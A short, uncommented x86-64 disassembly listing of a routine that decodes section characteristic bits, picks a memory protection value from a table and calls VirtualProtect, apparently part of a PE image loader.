mov dword [rsp + 0x38], edx
cmp r12d, eax
jl 0x140007760
test r10, r10
je 0x140007889
bt edx, 0x19
jae 0x14000783c
cmp r11, r9
jne 0x140007889
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
jmp 0x140007889
xor eax, eax
jmp 0x14000788c
mov eax, edx
shr eax, 0x1d
and eax, r15d
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, r15d
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
lea rax, [0x1400245a8]
mov r8d, dword [rax + rcx*4]
bt edx, 0x1a
jae 0x140007874
bts r8d, 9
lea r9, [rsp + 0x70]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140007838
mov eax, r15d
mov r13, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x80]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rbp
pop rbx
ret